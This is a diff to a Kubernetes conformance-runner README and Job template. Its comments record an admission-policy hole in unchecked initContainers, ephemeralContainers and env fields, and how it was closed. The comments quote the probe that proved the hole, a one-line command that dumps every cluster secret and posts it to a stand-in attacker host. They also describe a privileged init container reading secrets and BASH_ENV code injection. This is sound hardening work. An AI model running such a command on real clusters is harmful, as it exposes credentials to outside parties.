diff --git a/conformance/incluster/README.md b/conformance/incluster/README.md index 285854c..5728e4b 100644 --- a/conformance/incluster/README.md +++ b/conformance/incluster/README.md @@ -25,12 +25,12 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). commented with the test/requirement that needs it — only as the matching fault-injection test lands. This is a **privileged test identity**: never reused by workloads, its own audit item. -- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to - `--requirements ` (merge gate) or `--layer all --strict-coverage` (phase - exit). **Its `image:` is STALE**: it still names `ghcr.io/kyverno/chainsaw:v0.2.12`, which - (a) cannot run `./run.sh` at all and (b) is DENIED at admission. The trigger renders this - template per run with `CONFORMANCE_RUNNER_IMAGE` injected (plan §3 item 4, T-6.1b); until - that lands, treat the literal `image:` here as a placeholder, not a pin. +- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per + run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the + commit under test; artifacts leave over stdout. Its header is the authority on the + substitution tokens and the admission constraints it satisfies, and records the + `initContainers` hole that was found and closed alongside it — read it before editing + either file. - `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` + `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root filesystem. This is what the Job actually needs; the stock chainsaw image carries none of @@ -41,17 +41,26 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`. - `conformance-clone` — the init container's **only** entrypoint, baked into the image at `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it). - Clones the impl repo at the commit under test: the SHA must match `^[0-9a-f]{40}$` and - `rev-parse HEAD` is **asserted** equal to it afterwards, so an unrendered placeholder is a - hard failure rather than a silent run of the branch tip. It takes **no arguments**, and the - repository URL and clone target are **compiled in** — see its header for why the env vars - are read but may not override them. - > **This file is half a fix.** The admission policy pins the main container's `command` but - > **never reads `initContainers`**, so an init container with `command: ["/bin/sh","-c"]` and - > an arbitrary script is currently ADMITTED and runs as the privileged `conformance-runner` - > SA. What makes this file *required* rather than merely available is a 4th policy rule - > demanding `command: ["/usr/local/bin/conformance-clone"]` with no `args`. That rule belongs - > in its own reviewed PR against the boundary and is **not** in this branch. + It is a file in the image rather than an inline script in the Job precisely so admission + can pin it: a policy cannot tell the committed script from an attacker's when both are + just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must + match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an + unrendered placeholder is a hard failure rather than a silent run of the branch tip. It + takes **no arguments**, and the repository URL and clone target are **compiled in** — + `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than + honoured, because a URL taken from env would let the trigger choose which repository's + code runs as `conformance-runner`. This branch's Job depends on that interface: + `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src` + (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`. + > **The other half landed with this branch.** When `conformance-clone` arrived, the + > admission policy pinned the main container's `command` but **never read + > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary + > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was + > merely *available* rather than *required*. The rule that closes it is + > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container, + > digest-pinned to the conformance-runner image, `command` exactly + > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and + > `env`/`envFrom` were the same shape of hole and are closed in the same policy. - `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it prints the exact `podman push --digestfile …` command for the operator instead. See @@ -61,15 +70,41 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). default verify stays offline so an air-gapped build is fully checked, not half-checked). ## Flow -1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a - trigger with narrow rights: create Job + read its logs/status — *not* a broad - kubeconfig). -2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs - `./run.sh` under `conformance-runner`. -3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` + - `coverage/` to the results volume (`/workspace/conformance/_artifacts`). -4. CI collects those artifacts (results volume or the terminating log stream, which echoes - their paths) and enforces the merge / phase-exit gate on them. +1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the + runner image digest and the commit SHA — replaces `args` with the invocation shape, and + `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get + pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**). +2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce + + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary. +3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it + shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does + not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** — + the suite runs at the commit under test or not at all. The read-only Gitea credential + reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys + `username`/`token`), never as a volume: admission allows no volume but `workspace` and + `results`. +4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` + + `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`). +5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to + stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI + decodes it from `kubectl logs` and must make all five completeness checks listed above + `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead + of decoding to plausible garbage. + +## Prerequisites before this Job can run at all +- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and + `token`: a **read-only** Gitea token for this repository. Never a write token or a + push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6). +- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge + before this template is usable; its digest is what the trigger substitutes. Contract the + image MUST meet, because the Job and the admission policy both depend on it: + - bash, git, python3, chainsaw and kubectl on `PATH`; + - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different + uid in the Containerfile means the Job will not start; + - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**, + mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins + that exact path, so an image without it cannot run the clone step and no other path will + be admitted. ## Phase 0 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux diff --git a/conformance/incluster/chainsaw-job.yaml b/conformance/incluster/chainsaw-job.yaml index 5821d30..4214c5e 100644 --- a/conformance/incluster/chainsaw-job.yaml +++ b/conformance/incluster/chainsaw-job.yaml @@ -1,23 +1,175 @@ # ============================================================================= -# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14) +# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14) +# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. # -# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO -# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner` -# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that -# CI collects, and enforces the merge / phase-exit gate on the outcome. +# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a +# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would +# create a permanent Job object and fight the trigger for ownership. # -# Two invocation shapes (CI sets args): -# * MERGE GATE: ./run.sh --requirements (subset) -# * PHASE EXIT: ./run.sh --layer all (full suite) +# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig — +# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log). +# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave +# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel. # -# Results artifact mechanism (delegated to WS-TEST by docs/14 open items): -# Chosen = a shared results emptyDir + a terminating log stream, with an -# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is -# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised -# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the -# results volume (or scrapes the pod log, which echoes their paths). +# ----------------------------------------------------------------------------- +# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY +# ----------------------------------------------------------------------------- +# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + +# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits +# ONLY: exactly one container on a digest-pinned conformance-runner image, +# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from +# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no +# host namespaces, non-root with privilege escalation off, and — the constraint that +# shapes everything below — NO VOLUMES BUT `workspace` AND `results`. # -# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE. +# So the git credential CANNOT be a projected/secret volume, and the init container +# cannot have a scratch volume of its own. Both are solved inside the two allowed names: +# * the credential arrives as env vars via secretKeyRef (an env var is not a volume), +# BY SECRET NAME ONLY — no token literal ever appears in this file; +# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so +# readOnlyRootFilesystem stays true without a third volume and without subPath +# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable +# by the non-root runner). +# +# Verify before changing anything here: +# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \ +# --resource \ +# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml +# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in +# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. +# +# ----------------------------------------------------------------------------- +# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29) +# ----------------------------------------------------------------------------- +# As originally written, the policy read only `spec.template.spec.containers` (rule 1's +# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was +# never examined, so the exact escalation the policy exists to stop was reachable one +# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully +# compliant: +# +# * this template with ONLY the init container's args replaced by +# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` +# * and (the coordinator's independent reproduction) a `privileged: true` +# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A` +# +# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED +# +# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`. +# +# Closed by new rules in that policy, authorised by the coordinator in this PR +# (the original brief forbade policy edits; that was to stop the boundary being BENT to +# fit a Job, not to stop a hole being closed): +# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init +# container, on the digest-pinned runner image, `command: +# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation, +# not privileged. The clone logic moved OUT of this manifest and into the image for +# exactly this reason: a policy cannot vet a shell script passed as `args`, so the +# script had to stop being caller-supplied data. It stays reviewable as +# conformance/incluster/conformance-clone. +# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same +# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not +# verified here, and the rule costs nothing if it is true. +# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env` +# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable +# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash +# sources it before running a non-interactive script. Names are allowlisted per container; +# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately +# environment-specific, and conformance-runner can already read this namespace's Secrets +# through its own RBAC, so pinning the source would buy nothing). +# +# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ — +# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`, +# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`, +# `envfrom-whole-secret` — so they stay failing. +# +# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the +# committed shape" policy is only as good as its enumeration of every field that can carry +# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and +# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none +# does, that is the finding, not an oversight to work around. +# +# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed +# on a mismatch rather than honoured) for exactly this reason. Do not move it into env. +# +# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is +# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. +# +# ----------------------------------------------------------------------------- +# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` +# ----------------------------------------------------------------------------- +# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by +# `envsubst`, which has no way to tell a token meant for rendering from a shell reference +# that belongs to a script — a trap this file walked into while the clone logic was still an +# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a +# rendered manifest is trivially greppable as "the trigger forgot to render this". Render +# with a two-token sed, nothing cleverer: +# +# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ +# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml +# +# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image. +# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning +# are committed literals, so the substitution cannot repoint the image at another +# repository, and the template still satisfies the policy's image pattern before +# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly. +# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container +# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder +# or an injected value is a hard failure, never a run of the wrong tree. +# +# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per +# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this +# file be handed to `kyverno apply` as-is. +# +# ----------------------------------------------------------------------------- +# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3 +# ----------------------------------------------------------------------------- +# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT +# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a +# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not +# offline-only, and those stages need exactly those missing tools. Tracing run.sh: +# +# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all; +# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/. +# +# so: +# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS. +# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS. +# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO +# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS. +# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that +# requirement's L0/L1 tests into the run. FAILS on the missing toolchain. +# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS. +# +# The first three are measured working by the image build (PR #18); the last two are measured +# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a +# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone. +# The committed default below is the narrowest shape that works. +# +# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a +# security boundary should not encode which toolchain an image happens to ship, and the failure +# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This +# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land. +# +# ----------------------------------------------------------------------------- +# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable +# ----------------------------------------------------------------------------- +# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the +# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when +# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints: +# +# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === +# +# === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === +# +# The BEGIN and END headers are byte-identical and both carry the size, the base64 line +# count and the sha256. A collector that checks all four (one BEGIN, one END, headers +# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a +# complete artifact set — which a bare blob would, because base64 decodes a truncated +# stream to plausible garbage without complaint. See the block comment above +# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations. +# +# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the +# transport is the pod's log, so the Job must finish while that log still exists. # ============================================================================= apiVersion: batch/v1 kind: Job @@ -28,7 +180,10 @@ metadata: app.kubernetes.io/part-of: conformance spec: backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry + # A retry would also re-emit the artifact envelope, giving the collector two BEGIN + # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true. ttlSecondsAfterFinished: 3600 + activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate template: metadata: labels: @@ -37,38 +192,118 @@ spec: serviceAccountName: conformance-runner # scoped test identity (rbac.yaml) restartPolicy: Never securityContext: + # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true` + # alone only *rejects* a root image, it does not choose a uid, and the runner image + # is built by a separate task (plan §5 step 1). 65532 is the conventional + # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both + # emptyDirs group-writable for that uid. runAsNonRoot: true + runAsUser: 65532 + runAsGroup: 65532 + fsGroup: 65532 seccompProfile: { type: RuntimeDefault } - containers: - - name: chainsaw - # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12). - image: ghcr.io/kyverno/chainsaw:v0.2.12 - workingDir: /workspace/conformance - # The suite repo is delivered into /workspace (git clone init-container or - # a Flux-populated volume). run.sh is the single entrypoint (identical to local). - command: ["./run.sh"] - # CI overrides args per invocation shape: - # ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR - # ["--layer", "all", "--strict-coverage"] (phase exit) - args: ["--layer", "all", "--strict-coverage"] + initContainers: + # --------------------------------------------------------------------- + # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. + # + # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at + # conformance/incluster/conformance-clone and is baked into the runner image at + # /usr/local/bin/conformance-clone. That is what makes the init container + # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` + + # `args: [